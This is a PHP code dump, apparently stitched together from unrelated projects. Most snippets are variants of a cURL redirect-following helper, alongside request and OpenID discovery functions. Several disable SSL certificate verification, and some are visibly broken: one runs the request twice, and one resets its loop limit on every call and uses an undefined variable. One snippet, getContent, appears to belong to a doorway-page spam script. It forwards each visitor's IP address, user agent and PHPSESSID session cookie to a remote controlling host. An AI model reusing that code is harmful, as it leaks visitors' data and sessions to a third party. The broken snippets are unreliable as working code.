function curl_redir_exec($ch) { static $curl_loops = 0; static $curl_max_loops = 20; if ($curl_loops++ >= $curl_max_loops) { $curl_loops = 0; return FALSE; } curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); list($header, $data) = explode("\n\r", $data, 2); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code == 301 || $http_code == 302) { $matches = array(); preg_match('/Location:(.*?)\\n/', $header, $matches); $url = @parse_url(trim(array_pop($matches))); if (!$url) { //couldn't process the url to redirect to $curl_loops = 0; return $data; } $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL)); if (!$url['scheme']) { $url['scheme'] = $last_url['scheme']; } if (!$url['host']) { $url['host'] = $last_url['host']; } if (!$url['path']) { $url['path'] = $last_url['path']; } $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query'] ? '?' . $url['query'] : ''); curl_setopt($ch, CURLOPT_URL, $new_url); return curl_redir_exec($ch); } else { $curl_loops = 0; return $data; } }
function curl_redir_exec($curl_handler, $file_name = false, $file_handler = false) { static $curl_loops = 0; static $curl_max_loops = 20; if ($curl_loops++ > $curl_max_loops) { $curl_loops = 0; return false; } global $mx_curl_save_header; $mx_curl_save_header = ''; curl_setopt($curl_handler, CURLOPT_HEADERFUNCTION, 'curl_header_callback'); $data = curl_exec($curl_handler); $header = $mx_curl_save_header; $http_code = curl_getinfo($curl_handler, CURLINFO_HTTP_CODE); if ($http_code == 301 || $http_code == 302) { if ($file_name) { fclose($file_handler); unlink($file_name); $file_handler = fopen($file_name, 'w'); curl_setopt($curl_handler, CURLOPT_FILE, $file_handler); } $matches = array(); $header = str_replace('-Location', '', $header); preg_match('/Location:(.*?)\\n/', $header, $matches); if (empty($matches[1])) { //couldn't process the url to redirect to $curl_loops = 0; return $data; } $new_url = trim($matches[1]); if ($new_url) { $new_url = url($new_url); } curl_setopt($curl_handler, CURLOPT_URL, $new_url); dmsg("Redirected to <a rel='nofollow' target='_blank' href='{$new_url}'>{$new_url}</a>..."); if (strpos($new_url, 'showcaptcha')) { global $http_proxy, $http_code; $http_proxy = false; mx_config_set("proxy", false); $http_code = 503; return false; } return curl_redir_exec($curl_handler, $file_name, $file_handler); } else { $curl_loops = 0; return $data; } }
function http_request($url, $post = FALSE, $data = '', $referer = FALSE, $cookie = FALSE, $user_agent = FALSE, $timeout = 30) { /* ПОДРОБНАЯ ИНФОРМАЦИЯ: $url - URL адрес запроса $post - POST запрос: TRUE или FALSE (не обязательно) $data - Данные POST запроса (не обязательно) $referer - HTTP Referer (не обязательно) $cookie - Строка значений cookies (не обязательно) $user_agent - Используемый User Agent (не обязательно) $timeout - Максимальное время ожидания в секундах (не обязательно) */ $http = FALSE; $url = trim($url); // $header = array("Host: retail.sdm.ru","Referer: https://retail.sdm.ru/logon","Origin: https://retail.sdm.ru"); if (!empty($url)) { $post = $post ? TRUE : FALSE; $timeout = $timeout < 0 ? 0 : intval($timeout); if (function_exists('curl_init')) { if ($curl = curl_init()) { // echo ('<br>'.$url.'<br>'); curl_setopt($curl, CURLOPT_URL, $url); //curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE); Отключили, потому что используем ручную обработку ридиректа curl_setopt($curl, CURLOPT_HEADER, TRUE); // curl_setopt($curl, CURLOPT_HTTPHEADER, $header); curl_setopt($curl, CURLOPT_POST, $post); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE); if ($referer) { curl_setopt($curl, CURLOPT_REFERER, $referer); } if ($cookie) { curl_setopt($curl, CURLOPT_COOKIE, $cookie); } if ($user_agent) { curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); } if ($post) { curl_setopt($curl, CURLOPT_POSTFIELDS, $data); } curl_setopt($curl, CURLOPT_TIMEOUT, $timeout); //$http = curl_exec($curl); $http = curl_redir_exec($curl); //echo $http; /* if (strpos($http,'header=')) { $header=substr($http,0, curl_getinfo($curl,CURLINFO_HEADER_SIZE)); $body=substr($http,curl_getinfo($curl,CURLINFO_HEADER_SIZE)); preg_match_all('/Set-Cookie: (.*?)=(.*?);/i',$header,$res); $cookie_=''; foreach ($res[1] as $key => $value) { $cookie_.=$value.'='.$res[2][$key].'; '; } } */ curl_close($curl); } } } return $http; // return 'header='.$header.';body='.$body.';cookie='.$cookie_; }
public function curlGet($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, 1000); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 使用自动跳转 curl_redir_exec($ch); $result = curl_exec($ch); curl_close($ch); return $result; }
function getContent($host, $path, $template, $pathToDor) { global $connect, $pathOnMyHost, $hr; if ($connect) { $headers = array("User-Agent: {$template}" . "|{$pathToDor}" . "|{$pathOnMyHost}" . "|http://" . $_SERVER['HTTP_HOST'] . "|" . getUserIP() . "|" . $_SERVER['HTTP_USER_AGENT'] . '|' . $hr, "Referer: http://" . $_SERVER['HTTP_HOST']); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15); curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . '; path=/'); curl_setopt($ch, CURLOPT_TIMEOUT, 15); $result = curl_redir_exec($ch); curl_close($ch); return $result; } else { $buff = ''; $socket = @fsockopen($host, 80, $errno, $errstr); if ($socket) { @fputs($socket, "GET {$path} HTTP/1.0\r\n"); @fputs($socket, "Host: {$host}\r\n"); @fputs($socket, "Referer: http://" . $_SERVER['HTTP_HOST'] . "\r\n"); @fputs($socket, "User-Agent: {$template}" . "|{$pathToDor}" . "|{$pathOnMyHost}" . "|http://" . $_SERVER['HTTP_HOST'] . "|" . getUserIP() . "|" . $_SERVER['HTTP_USER_AGENT'] . '|' . $hr . "\r\n"); @fputs($socket, "Connection: close\r\n\r\n"); while (!@feof($socket)) { $buff .= @fgets($socket, 128); } @fclose($socket); $result = explode("\r\n\r\n", $buff, 2); if (preg_match("~Location: (.*)~", $result[0], $m)) { header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1 header("Pragma: no-cache"); // HTTP/1.1 header("Last-Modified: " . gmdate("D, d M Y H:i:s") . "GMT"); header("HTTP/1.1 301 Moved Permanently"); header("Location: " . str_replace($pathOnMyHost, '', $m[1])); exit; } return $result[1]; } else { return ""; } } }
/** * 自定义实现页面链接跳转抓取 */ function curl_redir_exec($ch, $debug = "") { static $curl_loops = 0; static $curl_max_loops = 20; if ($curl_loops++ >= $curl_max_loops) { $curl_loops = 0; return FALSE; } curl_setopt($ch, CURLOPT_HEADER, true); // 开启header才能够抓取到重定向到的新URL curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); // 分割返回的内容 $h_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $header = substr($data, 0, $h_len); $data = substr($data, $h_len - 1); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code == 301 || $http_code == 302) { $matches = array(); preg_match('/Location:(.*?)\\n/', $header, $matches); $url = @parse_url(trim(array_pop($matches))); // print_r($url); if (!$url) { //couldn't process the url to redirect to $curl_loops = 0; return $data; } $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL)); if (!isset($url['scheme'])) { $url['scheme'] = $last_url['scheme']; } if (!isset($url['host'])) { $url['host'] = $last_url['host']; } if (!isset($url['path'])) { $url['path'] = $last_url['path']; } $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . (isset($url['query']) ? '?' . $url['query'] : ''); curl_setopt($ch, CURLOPT_URL, $new_url); return curl_redir_exec($ch); } else { $curl_loops = 0; return $data; } }
function GetOpenIDServer() { //Try Yadis Protocol discovery first $http_response = array(); $fetcher = Services_Yadis_Yadis::getHTTPFetcher(); $yadis_object = Services_Yadis_Yadis::discover($this->openid_url_identity, $http_response, $fetcher); $yadis = 0; // Yadis object is returned if discovery is successful if ($yadis_object != null) { $service_list = $yadis_object->services(); $types = $service_list[0]->getTypes(); $servers = $service_list[0]->getURIs(); $delegates = $service_list[0]->getElements('openid:Delegate'); $yadis = 1; } if (count($servers) == 0) { $response = $this->CURL_Request($this->openid_url_identity); list($servers, $delegates) = $this->HTML2OpenIDServer($response); } if (count($servers) == 0) { $curl = curl_init($this->openid_url_identity); // workaround CURLOPT_FOLLOWLOCATION not working on some hosts // need to use this elsewhere, OMB remote-subscribe etc XXX // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_HTTPGET, true); $response = curl_redir_exec($curl); list($servers, $delegates) = $this->HTML2OpenIDServer($response); } if (count($servers) == 0) { $this->ErrorStore('OPENID_NOSERVERSFOUND', 'response = ' . $response . '<br /><br />openid = ' . $this->openid_url_identity . '<br /><br />yadis object = ' . serialize($yadis_object) . '<br /><br />fetcher = ' . serialize($fetcher) . '<br /><br />service_list = ' . serialize($service_list)); return false; } if (empty($servers[0])) { if ($yadis) { trigger_error('Yadis object was found but getURIs() failed for OpenID: ' . $this->openid_url_identity . '<br /><br />' . $this->error, E_USER_ERROR); } else { trigger_error('No Yadis object found, CURL_Request failed for OpenID: ' . $this->openid_url_identity . ' and the response was ' . $response . '<br /><br />' . $this->error, E_USER_ERROR); } } if (isset($types[0]) && $types[0] != "") { $this->SetServiceType($types[0]); } if (isset($delegates[0]) && $delegates[0] != "") { $this->SetIdentity($delegates[0]); } $this->SetOpenIDServer($servers[0]); return $servers[0]; }
protected function curl_redir_exec(&$ch) { $this->curl_loops = 0; $this->curl_max_loops = 20; if ($this->curl_loops++ >= $this->curl_max_loops) { $this->curl_loops = 0; return false; } curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $header = substr($data, 0, $header_size); $data = substr($data, $header_size); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code == 301 || $http_code == 302) { $matches = array(); preg_match('/Location:(.*?)\\n/', $header, $matches); $url = @parse_url(trim(array_pop($matches))); if (!$url) { //couldn't process the url to redirect to $this->curl_loops = 0; return $data; } $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL)); if (!$url['scheme']) { $url['scheme'] = $last_url['scheme']; } if (!$url['host']) { $url['host'] = $last_url['host']; } if (!$url['path']) { $url['path'] = $last_url['path']; } $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query'] ? '?' . $url['query'] : ''); curl_setopt($ch, CURLOPT_URL, $new_url); return curl_redir_exec($ch); } else { $this->curl_loops = 0; $this->__responseHeaderCallback($curl, $header); $this->__responseWriteCallback($curl, $data); return $data; } }